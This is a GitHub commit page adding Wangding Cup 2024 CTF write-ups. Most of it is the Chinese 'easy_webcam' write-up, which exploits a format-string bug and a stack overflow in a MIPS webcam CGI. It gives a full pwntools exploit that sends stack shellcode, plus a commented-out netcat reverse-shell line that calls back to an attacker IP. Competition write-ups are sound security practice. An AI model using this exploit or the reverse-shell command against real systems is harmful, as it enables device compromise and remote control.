Skip to content

Commit 8dc465e

Browse files
committed
add wangding2024
1 parent 362c7e2 commit 8dc465e

File tree

3 files changed

+122
-0
lines changed

3 files changed

+122
-0
lines changed

wangding2024/README.md

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
# 网鼎杯 2024
2+
3+
## 初赛
4+
5+
初赛能进的队伍范围还是挺广的,平均一个组200个队,我们队差不多150名最后进半决赛了。
6+
7+
(每一道题是我做的,我在看jerry,可惜不知道怎么打,2 4题是 *dbgbgtf* 做的)
8+
9+
## 半决赛
10+
11+
到贵州参加半决赛,高手云集,最后半决赛位列青龙组第4名。
12+
13+
1. cardmaster (TODO)
14+
2. ~~一道JIT~~
15+
3. ~~一道内核~~
16+
17+
## 决赛
18+
19+
到决赛的时候才知道各组的题都是一样的,其他组直接薄纱青龙组了,青龙组前几名都是几千分,
20+
其他组都上万了。到了决赛以后也是继续被薄纱。网鼎杯偶遇老赛棍,薄纱青龙组强如怪物,
21+
拼尽全力无法战胜。
22+
23+
最后只有33名(总共60支队) ~~青龙组第二名~~
24+
25+
1. [easy_webcam](webcam.md)

wangding2024/assets/managerFLAG.png

101 KB
Loading

wangding2024/webcam.md

Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
# easy_webcam
2+
3+
## 文件属性
4+
5+
|属性 ||
6+
|------|------|
7+
|Arch |mipsel|
8+
|RELRO |Full |
9+
|Canary|off |
10+
|NX |off |
11+
|PIE |off |
12+
|strip |yes |
13+
14+
## 解题思路
15+
16+
static编译还剥符号,有点恶心了,还原符号花了不少时间。boa没剥符号,大约是现成的,
17+
没做改动。大致运行流程是`boa` webserver --转发-> `manager.cgi`这样。
18+
19+
`manager.cgi`首先从环境变量里拿到从boa传来的`Content-Length`,然后读取并解析json,
20+
根据输入的命令和camera id判断:当`camera_id != 2024`时,可借助camera id打格式化字符串,
21+
泄露信息;当`camera_id == 2024 && strstr(operation, "reboot")`时,可借助`operation`打栈溢出。
22+
23+
> [!IMPORTANT]
24+
> cgi是由qemu用户态启动的,内存布局不会变化,并且栈是可执行的,我们可以直接打栈上shellcode。
25+
> 需要注意的是由于各种参数是通过环境变量传进来的,因此浏览器指纹不同,
26+
> 从boa传到`manager.cgi`的环境也不同,栈布局也不同。在攻击的时候要使用同一个环境。
27+
> 一开始我就是先浏览器泄露信息,再python打,就完全打不通。
28+
29+
接下来共攻击思路清晰了:首先控制`camera_id`打格式化字符串,使用%p泄露栈地址,
30+
然后控制`operation`打栈溢出,写shellcode到栈上并跳转执行。
31+
32+
> [!NOTE]
33+
> `manager.cgi`的输出要符合CGI标准才能借由boa传输到我们这里,因此在打开shell是不现实的,
34+
> 因为没法绕过boa直接和shell交互;同时也不能只打印一个flag,因为还要加Content-Type才能传过来。
35+
> 当时flag名字还不一样,需要先`ls`看文件。至于Type,大概不需要json,plaintext应该就可以输出flag了。
36+
37+
## EXPLOIT
38+
39+
```python
40+
from pwn import *
41+
context.terminal = ['tmux','splitw','-h']
42+
context.arch = 'mips'
43+
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
44+
EXE = 'easy_webcam/html/cgi-bin/manager'
45+
46+
def payload(lo: int):
47+
global sh
48+
if lo:
49+
ip = '127.0.0.1'
50+
ipfrom = ip
51+
else:
52+
ip = '173.41.102.19'
53+
ipfrom = '174.40.102.172'
54+
55+
sh = remote(ip, 80)
56+
if lo:
57+
stack = 0x2b2aadd1 + 0x1cf - 0x200
58+
# stack = 0x2b2aaf40
59+
else:
60+
# stack = 0x407ffe71 + 0x1ff
61+
stack = 0x407ffe11 + 0x1cf - 0x200
62+
63+
# shc = asm(shellcraft.execve('/bin/busybox', ['nc', ipfrom, '14444', '-e', '/bin/sh']))
64+
shc = asm(shellcraft.execve('/bin/sh', ['sh', '-c', 'echo Content-Type: application/json\necho\nread FLAG < /flag-EA096FE3722C\necho {flag:$FLAG}']))
65+
# shc = asm(shellcraft.execve('/bin/echo', ['echo', 'Content-Type: application/json\n\n{}']))
66+
# shc = asm(shellcraft.write(1, 0x4702e0, 31) + shellcraft.write(1, 0x4702e0 + 30, 1) + shellcraft.write(1, 0x470300, 49) + shellcraft.exit())
67+
68+
def mkRequest(shellcode: bytes) -> bytes:
69+
part1 = b'POST /cgi-bin/manager.cgi HTTP/1.1\r\n' \
70+
b'Accept: */*\r\n' \
71+
b'Accept-Encoding: gzip, deflate\r\n' \
72+
b'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6\r\n' \
73+
b'Cache-Control: no-cache\r\n' \
74+
b'Connection: keep-alive\r\n' \
75+
b'DNT: 1\r\n' \
76+
b'Origin: http://174.40.102.172\r\n' \
77+
b'Pragma: no-cache\r\n' \
78+
b'Referer: http://174.40.102.172/\r\n' \
79+
b'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0\r\n' \
80+
b'Host: ' + ip.encode() + b'\r\n' \
81+
b'Content-Length: '
82+
part2 = b'\r\n' \
83+
b'Content-Type: application/json\r\n' \
84+
b'\r\n' \
85+
b'{"camera_id":"2024","operation":"'
86+
part3 = b'"}'
87+
length = len(shellcode) + len(b'{"camera_id":"2024","operation":""}')
88+
return part1 + str(length).encode() + part2 + shellcode + part3
89+
90+
sh.send(mkRequest(b'reboot'.ljust(0x44) + p32(stack) + shc))
91+
92+
# sh.clean()
93+
sh.interactive()
94+
sh.close()
95+
```
96+
97+
<img src="assets/managerFLAG.png" width="70%">

0 commit comments

Comments
 (0)